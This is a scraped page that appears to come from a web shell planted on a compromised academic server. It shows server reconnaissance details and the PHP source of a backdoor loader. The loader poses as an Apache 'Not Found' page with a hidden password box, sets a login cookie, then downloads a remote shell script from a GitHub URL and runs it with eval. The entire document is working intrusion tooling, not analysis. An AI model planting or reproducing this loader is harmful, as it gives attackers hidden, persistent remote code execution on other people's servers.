| Server IP : 122.155.17.190 / Your IP : 216.73.216.53 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : t1bnc ( 1042) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/t1bnc/domains/t1bnc.ac.th/public_html/include/ |
Upload File : |
<?php
function is_logged_in()
{
return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'user123';
}
if (is_logged_in()) {
function geturlsinfo($url)
{
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
$a = geturlsinfo('https://raw.githubusercontent.com/roiheeseo/shell/main/403.php');
eval('?>' . $a);
} else {
if (isset($_POST['p'])) {
$entered_password = $_POST['p'];
$hashed_password = '12502de1e4aa2c624d78162e28684cca'; // MD5 hash ของรหัส
if (md5($entered_password) === $hashed_password) {
setcookie('user_id', 'user123', time() + 3600, '/');
header("Location: " . $_SERVER['PHP_SELF']);
exit();
} else {
echo "<p style='color:red;'>Incorrect password.</p>";
}
}
?>
<body>
<h1>Not Found</h1>
The requested document was not found on this server.
<p>
<hr>
<address>
Web Server at port 80
</address>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<input style="border:0;background:transparent;position:absolute;bottom:0;right:0;"
type="password" name="p" required />
</form>
</body>
<?php
}
?>